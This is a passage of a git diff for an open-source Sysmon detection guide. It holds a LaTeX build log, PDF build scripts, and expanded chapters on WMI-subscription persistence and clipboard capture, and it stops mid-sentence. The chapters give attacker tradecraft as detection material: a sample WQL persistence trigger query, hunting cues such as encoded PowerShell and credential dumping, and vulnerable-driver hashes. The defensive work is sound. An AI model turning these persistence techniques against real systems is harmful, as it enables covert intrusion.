+(/usr/local/texlive/2025/texmf-dist/tex/latex/rerunfilecheck/rerunfilecheck.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/base/atveryend-ltx.sty) +(/usr/local/texlive/2025/texmf-dist/tex/generic/uniquecounter/uniquecounter.sty +))) (/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstlang1.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstmisc.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/tocloft/tocloft.sty + +Package tocloft Warning: \@starttoc has already been redefined; tocloft bailing + out. on input line 1156. + +) (/usr/local/texlive/2025/texmf-dist/tex/latex/bookmark/bookmark.sty +(/usr/local/texlive/2025/texmf-dist/tex/latex/bookmark/bkm-dvipdfm.def)) +(/usr/local/texlive/2025/texmf-dist/tex/latex/xurl/xurl.sty) (./SysmonGuide.aux +) +*geometry* driver: auto-detecting +*geometry* detected driver: xetex +(/usr/local/texlive/2025/texmf-dist/tex/latex/lm/omllmm.fd) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsfonts/umsa.fd) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/mt-msa.cfg) +(/usr/local/texlive/2025/texmf-dist/tex/latex/amsfonts/umsb.fd) +(/usr/local/texlive/2025/texmf-dist/tex/latex/microtype/mt-msb.cfg) +(./SysmonGuide.toc +[1]) +[2] +[3] +[4] +[5] +! Undefined control sequence. +l.681 ...pture (Sysmon only logs Root\Subscription + ) + +[6] +[7] +[8] +[9] +[10] +[11] +Overfull \hbox (155.51212pt too wide) in paragraph at lines 1104--1107 +[]\TU/DejaVuSerif(0)/m/n/10 Sysmon will create 2 registry keys to define the se +rvices for its operation under \TU/DejaVuSerif(0)/b/it/10 HKLM\SYSTEM\CurrentCo +ntrolSet\Services + +[12] +[13] +Overfull \hbox (48.7775pt too wide) in paragraph at lines 1173--1177 +[]\TU/DejaVuSerif(0)/m/n/10 The hashing algorithm or combination of them can be + specified with the \TU/DejaVuSerif(0)/b/n/10 -h + +[14] +[15] +[16] +[17] (/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstlang1.sty) +(/usr/local/texlive/2025/texmf-dist/tex/latex/listings/lstlang1.sty) +[18] +[19] +[20] +[21] +[22] +[23] +[24] +[25] +[26] +[27] +[28] +[29] +[30] +[31] +[32] +Overfull \hbox (60.82462pt too wide) in paragraph at lines 2571--2574 +[]\TU/DejaVuSerif(0)/m/n/10 Navigate and select the key \TU/DejaVuSerif(0)/b/n/ +10 HKLM\SYSTEM\CurrentControlSet\Services\SysmonDrv\Parameters + +[33] +[34] +[35] +[36] +[37] +[38] +[39] +[40] +[41] +[42] +[43] +Underfull \hbox (badness 1158) in paragraph at lines 3155--3158 +[]\TU/DejaVuSerif(0)/b/n/10 Unusual Termination Methods\TU/DejaVuSerif(0)/m/n/1 +0 : Processes terminated by debugging tools, scripts, or + +[44] [45] +[46] +[47] +[48] +Underfull \hbox (badness 10000) in paragraph at lines 3617--3620 +[]\TU/DejaVuSerif(0)/b/n/10 High-Privilege Access Masks\TU/DejaVuSerif(0)/m/n/1 +0 : 0x1FFFFF (PROCESS_ALL_ACCESS) from non- + +[49] +[50] +[51] +[52] +[53] +[54] +[55] +[56] +[57] +[58] +[59] +Underfull \hbox (badness 5374) in paragraph at lines 4561--4569 +\TU/DejaVuSerif(0)/m/n/10 * $[][][][][][][][][][][][][][][][][][][] [] [] [] [] +[][][][][][][][][][][][][][][][][][][][][][] [] [][]$\TU/DejaVuSerif(0)/b/n/10 +FILE_NAME + +Underfull \hbox (badness 2495) in paragraph at lines 4561--4569 +\TU/DejaVuSerif(0)/m/n/10 - File name * $[][][][] [] [] [] [][][][][][][][][][] +[][][][][][][][][][][][][][][][][][][][][][][][][] [] [][]$\TU/DejaVuSerif(0)/b +/n/10 INDEX_ROOT\TU/DejaVuSerif(0)/m/n/10 , + +[60] +[61] +Overfull \hbox (30.31924pt too wide) in paragraph at lines 4627--4630 +[]\TU/DejaVuSerif(0)/m/n/10 More execution techniques: https://gist.github.com/ +api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f + +[62] +[63] +[64] +[65] +[66] +[67] +[68] +[69] +Overfull \hbox (107.16008pt too wide) in paragraph at lines 5266--5274 +[]\TU/DejaVuSerif(0)/b/n/10 Vulnerable Driver SHA256 Hashes: \TU/DejaVuSerif(0) +/m/n/10 * 35c67ac6cb0ade768ccf11999b9aaf016ab9ae92fb51865d73ec1f7907709dca + +Overfull \hbox (324.43399pt too wide) in paragraph at lines 5266--5274 +\TU/DejaVuSerif(0)/m/n/10 * d2ed01cce3e7502b1dd8be35abf95e6e8613c5733ee66e749b9 +72542495743b8 * a86e063ac5214ebb7e691506a9f877d12b7958e071ecbae0f0723ae24e273a7 +3 + +Overfull \hbox (320.3884pt too wide) in paragraph at lines 5266--5274 +\TU/DejaVuSerif(0)/m/n/10 * c0640d0d9260689b1c6c63a60799e0c8e272067dcf86847c882 +980913694543a * 2a5e73343a38e7b70a04f1b46e9a2dde7ca85f38a4fb2e51e92f252dad7034d +4 + +Overfull \hbox (313.74551pt too wide) in paragraph at lines 5266--5274 +\TU/DejaVuSerif(0)/m/n/10 * 98660006f0e923030c5c5c8187ad2fe1500f59d32fa4d3286da +50709271d0d7f * 7e1d7cfe0bdf5f17def755ae668c780dedb027164788b4bb246613e71668884 +0 + +[70] +[71] +[72] +[73] +[74] +[75] +[76] +[77] +[78] +[79] +[80] +[81] +[82] +[83] +[84] +Underfull \hbox (badness 2277) in paragraph at lines 6075--6083 +\TU/DejaVuSerif(0)/m/n/10 are catalogued at \TU/DejaVuSerif(0)/b/n/10 https://w +ww.loldrivers.io/\TU/DejaVuSerif(0)/m/n/10 , which maintains a comprehensive li +st of + +Underfull \hbox (badness 2799) in paragraph at lines 6075--6083 +\TU/DejaVuSerif(0)/m/n/10 configuration for detecting these vulnerable drivers: + \TU/DejaVuSerif(0)/b/n/10 https://github.com/magicsword- + +Underfull \hbox (badness 2547) in paragraph at lines 6152--6159 +[]\TU/DejaVuSerif(0)/b/n/10 To integrate LOLDrivers detection: \TU/DejaVuSerif( +0)/m/n/10 1. Download the Sysmon configuration from: + +[85] +[86] +[87] +[88] +[89] +[90] +Underfull \hbox (badness 2027) in paragraph at lines 6548--6554 +[]\TU/DejaVuSerif(0)/b/n/10 Accessibility Feature Hijacking (Sticky Keys, etc.) +: \TU/DejaVuSerif(0)/m/n/10 * [][][][][][][][][][][][][][][][][][][][][][][][][ +] + +Underfull \hbox (badness 4479) in paragraph at lines 6548--6554 +[][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][][ +][][][][][][][][][][][][][][][][][][] \TU/DejaVuSerif(0)/m/n/10 - Utility Manag +er debugger * + +[91] +[92] +! Undefined control sequence. +l.6653 shell\open + \command or shell\open\ddeexec for common file types * Can +! Undefined control sequence. +l.6653 shell\open\command + or shell\open\ddeexec for common file types * Can +! Undefined control sequence. +l.6653 shell\open\command or shell\open + \ddeexec for common file types * Can +! Undefined control sequence. +l.6653 shell\open\command or shell\open\ddeexec + for common file types * Can + +[93] +[94] +Underfull \hbox (badness 1337) in paragraph at lines 6884--6894 +[]\TU/DejaVuSerif(0)/b/n/10 Scripting and Execution Engines: \TU/DejaVuSerif(0) +/m/n/10 * \TU/DejaVuSerif(0)/b/n/10 System.Management.Automation.dll \TU/DejaVu +Serif(0)/m/n/10 and \TU/DejaVuSerif(0)/b/n/10 Sys- + +Underfull \hbox (badness 1509) in paragraph at lines 6884--6894 +\TU/DejaVuSerif(0)/b/n/10 tem.Management.Automation.ni.dll \TU/DejaVuSerif(0)/m +/n/10 - PowerShell engine (detect PowerShell loaded by + +[95] +[96] +Overfull \hbox (37.09471pt too wide) in paragraph at lines 6996--7001 +[]\TU/DejaVuSerif(0)/b/n/10 1. PowerShell Engine Loaded by Non-PowerShell Proce +sses \TU/DejaVuSerif(0)/m/n/10 * System.Management.Automation.dll + +[97] +[98] +[99] +[100] +[101] +[102] +[103] +[104] +[105] +[106] +[107] +[108] +Overfull \hbox (23.28908pt too wide) in paragraph at lines 7853--7855 +[]\TU/DejaVuSerif(0)/b/n/10 Community Resources\TU/DejaVuSerif(0)/m/n/10 : Exce +llent examples can be found at https://github.com/olafhartong/sysmon- + +[109] +[110] +[111] +[112] +[113] +[114] +Overfull \hbox (7.25122pt too wide) in paragraph at lines 8216--8222 +[]\TU/DejaVuSerif(0)/b/n/10 Recommended Complementary Logging\TU/DejaVuSerif(0) +/m/n/10 : Enable Windows native \TU/DejaVuSerif(0)/b/n/10 WMI-Activity/Operatio +nal + +[115] +[116] +[117] +[118] +[119] +[120] +[121] (./SysmonGuide.aux) + +LaTeX Warning: Label(s) may have changed. Rerun to get cross-references right. + + ) +(see the transcript file for additional information) +Output written on SysmonGuide.pdf (121 pages). +Transcript written on SysmonGuide.log. diff --git a/Build/replace_cover.py b/Build/replace_cover.py new file mode 100755 index 0000000..dbceb1f --- /dev/null +++ b/Build/replace_cover.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +""" +Replace the first page of a PDF with a custom cover image. +""" + +import sys +import os +from pathlib import Path + +def check_dependencies(): + """Check if required libraries are installed.""" + missing = [] + + try: + import pypdf + except ImportError: + try: + import PyPDF2 + except ImportError: + missing.append("pypdf or PyPDF2") + + try: + from PIL import Image + except ImportError: + missing.append("Pillow") + + try: + import reportlab + except ImportError: + missing.append("reportlab") + + if missing: + print(f"Error: Missing required Python packages: {', '.join(missing)}", file=sys.stderr) + print("\nInstall with:", file=sys.stderr) + print(" pip3 install pypdf Pillow reportlab", file=sys.stderr) + return False + + return True + +def create_cover_pdf(image_path, output_pdf): + """Convert cover image to a PDF page.""" + from reportlab.pdfgen import canvas + from reportlab.lib.pagesizes import letter, A4 + from PIL import Image + + # Open the image to get dimensions + img = Image.open(image_path) + img_width, img_height = img.size + + # Use A4 page size to match the rest of the document + page_width, page_height = A4 + + # Calculate scaling to fit image on page while maintaining aspect ratio + width_ratio = page_width / img_width + height_ratio = page_height / img_height + scale_ratio = min(width_ratio, height_ratio) + + # Calculate final dimensions + final_width = img_width * scale_ratio + final_height = img_height * scale_ratio + + # Center the image on the page + x_offset = (page_width - final_width) / 2 + y_offset = (page_height - final_height) / 2 + + # Create PDF with the image + c = canvas.Canvas(output_pdf, pagesize=A4) + c.drawImage(image_path, x_offset, y_offset, width=final_width, height=final_height) + c.save() + + print(f"Created cover PDF: {output_pdf}") + +def replace_first_page(pdf_path, cover_image_path, output_path): + """Replace the first page of a PDF with a cover image.""" + + # Import the appropriate library + try: + from pypdf import PdfWriter, PdfReader + except ImportError: + from PyPDF2 import PdfWriter, PdfReader + + # Create temporary cover PDF + temp_cover = "/tmp/cover_page.pdf" + create_cover_pdf(cover_image_path, temp_cover) + + # Read the original PDF and cover PDF + original_pdf = PdfReader(pdf_path) + cover_pdf = PdfReader(temp_cover) + + # Create a new PDF writer + output = PdfWriter() + + # Add the cover page + output.add_page(cover_pdf.pages[0]) + + # Add all pages from original PDF except the first one + for i in range(1, len(original_pdf.pages)): + output.add_page(original_pdf.pages[i]) + + # Write the output PDF + with open(output_path, 'wb') as output_file: + output.write(output_file) + + # Clean up temporary file + os.remove(temp_cover) + + print(f"Successfully replaced first page with cover image") + print(f"Output: {output_path}") + +def main(): + if len(sys.argv) != 4: + print("Usage: replace_cover.py ") + sys.exit(1) + + pdf_path = sys.argv[1] + cover_image_path = sys.argv[2] + output_path = sys.argv[3] + + # Validate inputs + if not os.path.exists(pdf_path): + print(f"Error: PDF file not found: {pdf_path}", file=sys.stderr) + sys.exit(1) + + if not os.path.exists(cover_image_path): + print(f"Error: Cover image not found: {cover_image_path}", file=sys.stderr) + sys.exit(1) + + # Check dependencies + if not check_dependencies(): + sys.exit(1) + + # Replace the first page + try: + replace_first_page(pdf_path, cover_image_path, output_path) + except Exception as e: + print(f"Error: Failed to replace cover page: {e}", file=sys.stderr) + sys.exit(1) + +if __name__ == "__main__": + main() diff --git a/Build/test.pdf b/Build/test.pdf new file mode 100644 index 0000000..624bff0 Binary files /dev/null and b/Build/test.pdf differ diff --git a/Build/title_page.tex b/Build/title_page.tex new file mode 100644 index 0000000..0a74ee2 --- /dev/null +++ b/Build/title_page.tex @@ -0,0 +1,34 @@ +% Custom title page formatting +% Override Pandoc's default cover-image size + +% Redefine the maketitle to use smaller cover image +\makeatletter +\def\@maketitle{% + \newpage + \null + \vskip 2em% + \begin{center}% + \let \footnote \thanks + % Insert cover image if it exists, but make it smaller + \ifdefined\@coverimage + \includegraphics[width=0.33\textwidth]{\@coverimage}% + \vskip 1.5em% + \fi + {\LARGE \@title \par}% + \vskip 1.5em% + {\large + \lineskip .5em% + \begin{tabular}[t]{c}% + \@author + \end{tabular}\par}% + \vskip 1em% + {\large \@date}% + \end{center}% + \par + \vskip 1.5em} +\makeatother + +% Store the cover image path if provided +\ifdefined\Oldincludegraphics\else + \let\Oldincludegraphics\includegraphics +\fi diff --git a/Build/toc-styling.tex b/Build/toc-styling.tex new file mode 100644 index 0000000..d1c1933 --- /dev/null +++ b/Build/toc-styling.tex @@ -0,0 +1,63 @@ +%% Enhanced Table of Contents Styling +%% Uses tocloft package for professional TOC formatting + +\usepackage{tocloft} + +% TOC title formatting +\renewcommand{\cfttoctitlefont}{\Large\bfseries} +\renewcommand{\cftaftertoctitle}{\vskip 1em} + +% Section entry formatting (level 1 headings) +\renewcommand{\cftsecfont}{\normalfont\bfseries} +\renewcommand{\cftsecpagefont}{\normalfont\bfseries} + +% Subsection entry formatting (level 2 headings) +\renewcommand{\cftsubsecfont}{\normalfont} +\renewcommand{\cftsubsecpagefont}{\normalfont} + +% Subsubsection entry formatting (level 3 headings) +\renewcommand{\cftsubsubsecfont}{\normalfont\small} +\renewcommand{\cftsubsubsecpagefont}{\normalfont\small} + +% Dotted leader lines for better readability +\renewcommand{\cftsecleader}{\cftdotfill{\cftdotsep}} +\renewcommand{\cftsubsecleader}{\cftdotfill{\cftdotsep}} +\renewcommand{\cftsubsubsecleader}{\cftdotfill{\cftdotsep}} + +% Spacing adjustments for sections (level 1) +\setlength{\cftsecindent}{0pt} % No indentation for main sections +\setlength{\cftsecnumwidth}{2.5em} % Space for section numbers +\setlength{\cftbeforesecskip}{0.8em} % Space between entries + +% Spacing adjustments for subsections (level 2) +\setlength{\cftsubsecindent}{1.5em} % Indent subsections +\setlength{\cftsubsecnumwidth}{3em} % Space for subsection numbers +\setlength{\cftbeforesubsecskip}{0.3em} % Less space between subsection entries + +% Spacing adjustments for subsubsections (level 3) +\setlength{\cftsubsubsecindent}{3em} % Indent subsubsections more +\setlength{\cftsubsubsecnumwidth}{3.5em} % Space for subsubsection numbers +\setlength{\cftbeforesubsubsecskip}{0.2em} % Minimal space between subsubsection entries + +% TOC depth control - show all three levels +\setcounter{tocdepth}{3} + +% Add some space before TOC +\renewcommand{\cftbeforetoctitleskip}{2em} + +% Customize dots appearance for better visual connection +\renewcommand{\cftdot}{.} +\renewcommand{\cftdotsep}{3.5} + +% Enhanced spacing and alignment +\setlength{\cftaftertoctitleskip}{1.5em} + +% Ensure TOC appears on its own page(s) +% Add page break before TOC starts +\usepackage{etoolbox} +\pretocmd{\tableofcontents}{\clearpage}{}{} + +% Add page break after TOC ends +\AtBeginDocument{% + \addtocontents{toc}{\protect\clearpage}% +} \ No newline at end of file diff --git a/Build/toc_pagebreak.tex b/Build/toc_pagebreak.tex new file mode 100644 index 0000000..508a0c0 --- /dev/null +++ b/Build/toc_pagebreak.tex @@ -0,0 +1,8 @@ +% Add page break after table of contents +% This ensures TOC is on its own page(s) and content starts fresh + +\usepackage{etoolbox} + +% Patch to add clearpage after TOC +% This works with Pandoc's wrapped {\tableofcontents} structure +\apptocmd{\tableofcontents}{\clearpage}{}{} diff --git a/CLAUDE.md b/CLAUDE.md deleted file mode 100644 index 26282ea..0000000 --- a/CLAUDE.md +++ /dev/null @@ -1,89 +0,0 @@ -# CLAUDE.md - -This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. - -## Project Overview - -This is the TrustedSec Sysmon Community Guide - an open source documentation project that provides comprehensive guidance on Microsoft Sysinternals Sysmon for both Windows and Linux. The repository contains educational security content focused on defensive monitoring and detection capabilities. - -## Repository Structure - -- `chapters/` - Individual markdown files covering specific Sysmon topics and event types -- `Build/` - PDF generation tools and LaTeX configuration files -- `examples/` - Sample Sysmon XML configuration files -- `chapters/media/` - Images and screenshots used in the documentation - -## Content Architecture - -The guide follows a structured approach: -- Introduction to Sysmon concepts (`what-is-sysmon.md`) -- Platform-specific installation guides (`install_windows.md`, `install_linux.md`) -- Event type documentation organized by category (process events, file events, network events, etc.) -- Each event type has its own dedicated chapter with examples and detection guidance - -## Common Tasks - -### Automated Build System -The repository now includes an automated build system that assembles individual chapters into a master document: - -```bash -# Build master document from individual chapters -make build -python3 build_guide.py - -# Generate PDF (requires pandoc, xelatex) -make pdf -./build.sh pdf - -# Build using Docker (no local dependencies) -make docker - -# Validate chapter files and configuration -make validate -./build.sh validate - -# Clean build artifacts -make clean -``` - -### Legacy PDF Generation -```bash -# Generate PDF from existing master markdown (legacy method) -./Build/md2pdf.sh ./Build/Sysmon.md SysmonGuide.pdf -``` - -### Content Guidelines -- All content focuses on defensive security monitoring and detection -- Examples use legitimate security configurations and detection rules -- Content follows Creative Commons Attribution-ShareAlike 4.0 license -- Each chapter should be self-contained but reference related concepts - -### File Naming Conventions -- Chapter files use lowercase with hyphens: `process-creation.md` -- Media files are numbered sequentially: `image1.png`, `image2.png` -- Configuration examples use descriptive names: `Exchange_CVE_2021_26855.xml` - -## Build System Architecture - -### New Automated System -- **Chapter Manifest**: `chapters.json` defines chapter order and metadata -- **Build Script**: `build_guide.py` automatically assembles individual chapters -- **Docker Support**: `Dockerfile` and `docker-compose.yml` for containerized builds -- **CI/CD**: GitHub Actions workflow for automated validation and builds -- **Make Integration**: `Makefile` provides simple build commands - -### Chapter Assembly Process -1. Reads chapter structure from `chapters.json` -2. Validates all referenced chapter files exist -3. Combines individual markdown files in correct order -4. Adjusts image paths for build directory -5. Adds metadata header with current date -6. Outputs master `Build/Sysmon.md` file - -## Technical Notes - -- PDF generation uses Pandoc with XeLaTeX engine -- Custom styling defined in `Build/` directory LaTeX files -- Metadata for PDF generation stored in `Build/metadata.yml` and `chapters.json` -- All documentation written in GitHub Flavored Markdown -- Build system preserves exact PDF output format from original manual process \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index 43a5012..5bc9b43 100644 --- a/Dockerfile +++ b/Dockerfile @@ -29,6 +29,9 @@ RUN apt-get update && apt-get install -y \ perl \ && rm -rf /var/lib/apt/lists/* +# Install Python dependencies for PDF cover replacement +RUN pip3 install --user --no-cache-dir pypdf Pillow reportlab + # Create working directory WORKDIR /guide diff --git a/Makefile b/Makefile index d92b38f..3669786 100644 --- a/Makefile +++ b/Makefile @@ -47,6 +47,7 @@ install-deps: @command -v apt-get >/dev/null 2>&1 || { echo "This target only works on Debian/Ubuntu systems"; exit 1; } sudo apt-get update sudo apt-get install -y python3 python3-pip pandoc texlive-xetex texlive-latex-extra texlive-fonts-extra fonts-dejavu + pip3 install pypdf Pillow reportlab # Install dependencies (macOS with Homebrew) install-deps-mac: @@ -54,6 +55,7 @@ install-deps-mac: @command -v brew >/dev/null 2>&1 || { echo "Homebrew is required. Install from https://brew.sh/"; exit 1; } brew install python3 pandoc brew install --cask mactex + pip3 install --user --break-system-packages pypdf Pillow reportlab # Check if all dependencies are available check-deps: diff --git a/README.md b/README.md index 595c5b4..111b459 100644 --- a/README.md +++ b/README.md @@ -34,6 +34,8 @@ Table of Contents * [Configuration](./chapters/configuration.md) +* [Detection Engineering Fundamentals](./chapters/detection-engineering.md) + * Sysmon Events * [Process Events](./chapters/process-events.md) @@ -92,7 +94,6 @@ Please use the issues system or GitHub pull requests to make corrections, contri ## Credits -This guide was originally written and edited by Carlos Perez of TrustedSec LLC. +This guide written, maintained and edited by Carlos Perez of TrustedSec LLC. -- **[MIT license](http://opensource.org/licenses/mit-license.php)** -- Copyright 2020 © TrustedSec LLC. +- Copyright 2025 © TrustedSec LLC. diff --git a/SysmonGuide.pdf b/SysmonGuide.pdf new file mode 100644 index 0000000..6c18fed Binary files /dev/null and b/SysmonGuide.pdf differ diff --git a/build.sh b/build.sh index 7f70e03..3c33254 100755 --- a/build.sh +++ b/build.sh @@ -303,24 +303,24 @@ build_pdf() { clean_build() { log_cmd "Cleaning build artifacts..." - + local files_to_clean=( "${BUILD_DIR}/Sysmon.md" "${BUILD_DIR}/${OUTPUT_PDF}" "${BUILD_DIR}/pdfgen.log" - "${BUILD_DIR}"/*.tex + "${BUILD_DIR}/SysmonGuide.tex" "${BUILD_DIR}"/*.toc "${BUILD_DIR}"/*.aux "${BUILD_DIR}"/*.log ) - + for file in "${files_to_clean[@]}"; do - if [[ -f "$file" ]]; then + if [[ -f "$file" ]] || [[ -e "$file" ]]; then rm -f "$file" log_verbose "Removed: $file" fi done - + log_success "Build artifacts cleaned" } diff --git a/build_guide.py b/build_guide.py index 71997cc..e42c5ab 100755 --- a/build_guide.py +++ b/build_guide.py @@ -105,26 +105,26 @@ def _generate_heading(self, title: str, level: int) -> str: """Generate markdown heading with appropriate level.""" return f"{'#' * level} {title}\n\n" - def _process_chapter(self, chapter: Dict[str, Any]) -> str: - """Process a chapter and its sections recursively.""" + def _process_chapter(self, chapter: Dict[str, Any], level: int = 1) -> str: + """Process a chapter and its sections recursively with hierarchical heading levels.""" content = [] - - # Add chapter heading if it has a title - always use level 1 + + # Add chapter heading if it has a title - use the current level if 'title' in chapter: - content.append(self._generate_heading(chapter['title'], 1)) - + content.append(self._generate_heading(chapter['title'], level)) + # Add chapter content if it has a file if 'file' in chapter: chapter_content = self._read_chapter_content(chapter['file']) content.append(chapter_content) content.append("\n\n") - - # Process sections recursively - all will be level 1 + + # Process sections recursively - increment level for subsections if 'sections' in chapter: for section in chapter['sections']: - section_content = self._process_chapter(section) + section_content = self._process_chapter(section, level + 1) content.append(section_content) - + return ''.join(content) def _generate_metadata_header(self) -> str: @@ -145,35 +145,38 @@ def _generate_metadata_header(self) -> str: return '\n'.join(header) def _add_cover_image(self) -> str: - """Add cover image if specified.""" - cover_image = self.config.get('metadata', {}).get('cover_image') - if cover_image: - # Adjust cover image path for Build directory - cover_path = cover_image.replace('chapters/', './') - return f"![cover image]({cover_path})\n\n" - return "" + """Add cover image if specified with size constraints.""" + # Add page break after TOC to start content on fresh page + # The logo will be added at the start of the first chapter + return "\\newpage\n\n" def build_master_document(self) -> str: """Build the complete master document.""" print("Building master document...") - + # Validate all files exist if not self._validate_files(): return "" - + content = [] - + # Add metadata header content.append(self._generate_metadata_header()) - - # Add cover image + + # Add page break after TOC content.append(self._add_cover_image()) - + + # Add logo before first chapter + cover_image = self.config.get('metadata', {}).get('cover_image') + if cover_image: + cover_path = cover_image.replace('chapters/', './') + content.append(f'\n\n') + # Process all chapters for chapter in self.config['chapters']: chapter_content = self._process_chapter(chapter) content.append(chapter_content) - + return ''.join(content) def save_master_document(self, content: str, filename: str = "Sysmon.md") -> None: diff --git a/chapters.json b/chapters.json index 49cfbf8..50fc8d0 100644 --- a/chapters.json +++ b/chapters.json @@ -15,6 +15,11 @@ "file": "chapters/what-is-sysmon.md", "level": 1 }, + { + "title": "Detection Engineering Fundamentals", + "file": "chapters/detection-engineering.md", + "level": 1 + }, { "title": "Sysmon on Windows", "level": 1, diff --git a/chapters/WMI-events.md b/chapters/WMI-events.md index cd24dd7..91bab72 100644 --- a/chapters/WMI-events.md +++ b/chapters/WMI-events.md @@ -1,16 +1,33 @@ WMI Events ========== -WMI events, both temporary and permanent (survive a reboot), have been used for -over a decade by vendors and enterprise users to automate actions on systems. -Attackers leverage events in the same manner for automating actions and for -persistence. Attackers will create or modify existing event components (APT 28, -29) on systems for which they gain administrator privilege. WMI events are those -events that happen when a specific Event Class instance is created or they are -modified in the WMI Model. +Sysmon will log **EventID 19** (WmiEventFilter), **EventID 20** (WmiEventConsumer), and **EventID 21** (WmiEventConsumerToFilter) for Windows Management Instrumentation (WMI) event subscriptions. WMI event monitoring is a **low-volume, extremely high-value event type** that should almost always log all occurrences. WMI persistence is a sophisticated technique heavily used by advanced attackers and rarely by legitimate software outside of enterprise management tools. -An attacker can monitor (and take certain actions) when these events occur by -using subscriptions that monitor for them. +Detection Value and Why It Matters +----------------------------------- + +WMI events have been used legitimately for over a decade by vendors and enterprise users to automate actions on systems. However, attackers leverage the same capability for persistence and automation, making this a critical detection opportunity. + +WMI persistence is attractive to attackers because: + +**Fileless Persistence**: WMI event subscriptions are stored in the WMI repository (CIM database), not as files on disk. This makes them harder to detect with traditional file-based security tools and harder to find during incident response. + +**SYSTEM-Level Execution**: Permanent WMI event subscriptions always run as SYSTEM, providing attackers with the highest privileges regardless of the account used to create the subscription. + +**Survives Reboots**: Permanent subscriptions persist across system restarts, providing reliable long-term persistence. + +**Rare in Normal Environments**: Outside of enterprise system management tools (SCCM, monitoring software), WMI event subscriptions are uncommon, making detections high-fidelity. + +**APT Tradecraft**: WMI persistence has been documented in attacks by APT28, APT29, and numerous other sophisticated threat actors. + +**MITRE ATT&CK Mapping**: +* **T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription** - Primary technique +* **T1047 - Windows Management Instrumentation** - General WMI abuse + +How WMI Event Subscriptions Work +---------------------------------- + +WMI events occur when specific Event Class instances are created or modified in the WMI Model. An attacker can monitor for these events and trigger actions when they occur by using subscriptions. There are two types of WMI Event Subscriptions: @@ -33,6 +50,68 @@ The actions that Sysmon filters on are those for permanent events. Sysmon will only log **ActiveScript** and **CommandLine** consumers since these are the ones abused by attackers. +Why This is Low-Volume +----------------------- + +WMI event subscriptions are extremely rare in typical environments: +* Most systems have zero WMI event subscriptions +* Legitimate uses are limited to enterprise management tools (SCCM, monitoring agents) +* Typical environments generate 0-5 WMI events per month, often zero +* Any activity is noteworthy and warrants review + +This extremely low volume makes WMI event monitoring ideal for a **log-all approach** with minimal or no exclusions. + +What to Investigate +-------------------- + +When reviewing WMI event logs, **investigate every occurrence** unless it's from verified enterprise management software: + +**1. All Three Event IDs Together** +* WMI persistence requires all three components: Filter (ID 19), Consumer (ID 20), and Binding (ID 21) +* Look for these event IDs occurring close together in time +* A complete attack chain will have all three + +**2. Consumer Destination (Most Critical)** +* The **Destination** field in EventID 20 shows what command or script will execute +* Look for: + - PowerShell commands, especially encoded commands + - CMD.exe with suspicious arguments + - Script execution (cscript.exe, wscript.exe) + - Downloading or executing files from the internet + - Credential dumping tools or suspicious utilities + +**3. Suspicious Filter Queries** +* EventID 19 shows the WQL query that triggers the consumer +* Common attacker patterns: + - Triggers on system startup: `SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'` + - Triggers on user logon events + - Triggers on specific process starts + - Time-based triggers for periodic execution + +**4. Unusual User Context** +* WMI subscriptions require administrator privileges to create +* Investigate subscriptions created by: + - Non-administrative user accounts (shouldn't be possible) + - Service accounts not associated with management tools + - Recently compromised accounts + - Accounts with suspicious recent activity + +**5. Namespace Analysis** +* Most legitimate WMI subscriptions use `Root\Subscription` namespace +* **Important Limitation**: Sysmon only logs subscriptions in `Root\Subscription`, not `Root` namespace +* Attackers aware of this may use the `Root` namespace to evade detection +* This gap is covered by Windows native WMI-Activity/Operational logs (EventID 5861) + +**6. Correlation with Other Events** +* WMI subscription creation shortly after: + - Initial compromise indicators + - Suspicious PowerShell or CMD execution + - Lateral movement activity + - Privilege escalation + +Event Fields and Structure +--------------------------- + Fields for the Filter creation, modification, or deletion are: - **RuleName**: Rule name for filter @@ -94,24 +173,47 @@ subscription in its data. ![Bind Event](media/image62.png) -It is recommended to log all instances of this event type. +Configuration: Log All (Recommended) +------------------------------------- + +Given the extremely low volume and extremely high detection value, the recommended configuration is simple - **log everything**: ```XML - * - - - - - + + + + + + + ``` -Sysmon will not capture components of a permanent event created in the **Root** namespace, only under **Root/Subscription**, an attacker may abuse this gap. Windows WMI Operational logs do capture events created in the **Root** namespace and should be leveraged for redundancy in addition to being able to track: +**Optional Exclusions**: In environments with enterprise management software (SCCM, monitoring agents), you may choose to exclude specific known-good subscriptions. However, given the low volume, it's often better to log everything and filter in your SIEM. + +If you must exclude, use the **Name** field to exclude specific subscription names after verification: + +```XML + + + Created + SCNotification + +``` + +Important Limitations and Complementary Logging +------------------------------------------------ + +**Sysmon Gap**: Sysmon will not capture components of permanent events created in the **Root** namespace, only under **Root/Subscription**. Attackers aware of this limitation may use the `Root` namespace to evade detection. + +**Recommended Complementary Logging**: Enable Windows native **WMI-Activity/Operational** logs (EventID 5861) which do capture events created in the **Root** namespace. This provides: +* Coverage for Root namespace subscriptions (fills Sysmon gap) +* Temporary event subscriptions (not logged by Sysmon) +* WMI query errors (useful for detecting reconnaissance) +* Provider loading activity -* Temporary Events -* WMI Query Errors -* Provider loading +**Detection Strategy**: Use both Sysmon WMI events and native Windows WMI-Activity logs for comprehensive coverage. The combination ensures attackers cannot evade detection by using alternative namespaces or temporary subscriptions. diff --git a/chapters/clipboard-capture.md b/chapters/clipboard-capture.md index 57757da..90a7dd8 100644 --- a/chapters/clipboard-capture.md +++ b/chapters/clipboard-capture.md @@ -1,84 +1,333 @@ Clipboard Capture ================= -Sysmon will log EventID 24 for when an application stores text in the clipboard. This capability was added in version 12.0 of Sysmon under schema 4.40. When text us stored the event is generated and the text that was copied in to clipboard is stored as a file referenced by the hash in the location specified for deleted files with the same protections on the folder so only applications running under the context of the SYSTEM account can list and read the files. If no folder is specified Sysmon will create a folder under the root of the main drive with its name. +Sysmon will log **EventID 24** when applications store text in the clipboard. This capability was 